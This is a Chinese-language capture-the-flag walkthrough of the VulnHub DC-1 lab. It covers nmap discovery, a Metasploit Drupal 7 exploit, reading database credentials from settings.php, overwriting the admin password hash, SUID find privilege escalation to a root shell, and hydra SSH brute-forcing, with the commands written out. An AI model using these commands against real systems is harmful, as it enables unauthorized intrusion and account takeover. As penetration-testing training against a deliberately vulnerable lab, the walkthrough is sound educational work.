DC-1 通关详解
一、环境搭建:
1、靶机描述
DC-1是一个专门建立的脆弱实验室,目的是获得渗透测试领域的经验。它是为初学者设计的挑战,但它到底有多容易取决于你的技能和知识,以及你的学习能力。要成功完成这一挑战,您需要掌握Linux技能,熟悉Linux命令行,并具有基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。有多种方法可以获得根,但是,我为初学者提供了一些包含线索的标志。总共有五个flag,但最终目标是在根的主目录中找到并读取标志。您甚至不需要成为根用户来执行此操作,但是,您将需要根权限。根据您的技能水平,您可以跳过寻找大多数这些标志,然后继续直。初学者可能会遇到他们以前从未遇到过的挑战,但是谷歌搜索应该是获得完成这个挑战所需的信息所必需的。
根据描述信息我们可以知道本靶场环境总共有5个flag。
2、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-1,292/
二、渗透靶场
本环境重在在于如下两个知识点
Drupal 7 漏洞利用
find 提权
1、目标:
目标就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24
2、信息收集:寻找靶机真实IP
nmap -sP 1 XXX.XXX.XXX.XXX /24
扫描网段中有哪些主机在线,使用 -sP 参数,不扫描端口,只扫描「存活主机」。
本质上是Ping扫描,能Ping通有回包,就判定主机在线。
先看一下kali的地址输入ifconfig
得知kali的地址为192.168.206.130
在输入nmap -sP 192.168.206.0/24
3、信息收集:探端口及服务
nmap -A -p- -v 192.168.206.131
-A 综合性扫描
-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息
发现开放了22算口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务
访问web站点
发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS
searchsploit drupal 7
什么是cms
CMS是"Content ManagementSystem“的缩写,意为“内容管理系统"它采用统一的信息组织的方法即分类,对同一类型的信息进行分类,且每一类信息都可以进行新建(Add)、查看(View)、编辑(Edit)和删除(Delete)四种不同的操作。除了使用分类的方式组织信息以外,又采用了统一的用户和权限管理对信息的使用进行控制即构成了一个完整的信息组织和管理的体系。内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市
场
利用MSF渗透
典型的drupal,启动Metersploit MSF存在drupal模块,尝试使用msf渗透
1.MSF简单命令介绍
msfconsole 进入MSF控制台
search 搜索相应模块
use 对应模块
show options 查看信息
set RHOST 远程主机ip
run 攻击
3.进入MSF控制台搜索drupal模块
进入MSF控制台msfdb run
搜索drupal模块search drupal
输入search Drupal
4.选择模块进行测试
用2018的测试
5.设置靶机IP运行msf
输入shell
执行whoami
发现是www-data权限
进入home目录,发现flag4.txt文件,提示需要提升权限
9.使用python反弹一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
显示了当前路径
10.发现flag1文件
查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件
Drupal的默认配置文件为Default.settings.php
在目录sites下面有一个名为default的子目录,里面包含了你的Drupal站点的默认的设置文件---default.settings.php。,Drupal安装器,将会基于你提供的信息来修改这些原始设置,并为你的站点创建-个settings.php 文件。
11.发现flag2
Drupal的默认配置文件为
/var/www/sites/default/settings.php
查看文件内容
cat /var/www/sites/default/settings.php
发现了flag2和数据库的账号密码
flag2提示,提升权限为root来查看敏感文件
我们先进入数据库查看
'username' => 'dbuser',
'password' => 'R0ck3t',
mysql -u dbuser -p
查看数据库,切换到drupaldb数据库
先输入mysql -u dbuser -p 在输入R0ck3t进入mysql
查看查找默认的Drupal user 表
select * from users;
发现admin信息
解决方法:置换drupal密码
进入www目录
quit;
站点路径下执行
php scripts/password-hash.sh 新密码
然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库
mysql -u dbuser -pR0ck3t
use drupaldb
将pass字段进行替换
update users set pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where name="admin";
12.登录站点
访问站点
进行登录,密码是之前我们自己替换的,账号是admin
admin
123
成功登录
13.发现flag3
登陆战点之后,随便翻一番,发现flag3,
http://192.168.66.140/node#overlay=admin/content
点击flag3进入,发现提示信息
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
大致意思是提权并提示 -exec,想到suid提权 find 命令
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
使用命令查看 suid 权限的可执行二进制程序
find / -perm -4000 2>/dev/null
发现find命令
使用命令测试,发现为root权限
touch 963
ls
find / -name 123 -exec "whoami" \;
14.发现最后的flag文件
我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。
find ./ -name 666 -exec "/bin/sh" \;
whoami
ls
cd /root
ls
查看cat thefinalflag.txt文件
cat thefinalflag.txt
文件内容如下
Well done!!!
干得好!
Hopefully you've enjoyed this and learned some new skills.
希望你已经享受了这一点,并学到了一些新的技能。
You can Let me know what you thought of this little journey
你可以告诉我你对这段小旅程的看法
by_ contacting me via Twitter
通过twitter联系我
QDCAU7
大致就是说你已经通过了本关卡。
15.发现flag4
此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破
cat /etc/passwd
可以以得到有一个用户名为flag4
进入john目录cd /usr/share/john
hydra -l flag4 -P password.lst ssh://192.168.66.140
解释一下:
-l 指定用户名
-P 加载密码字典(自定义)
ssh://ip 指定使用协议和ip地址
SSH连接登录,拿到flag4权限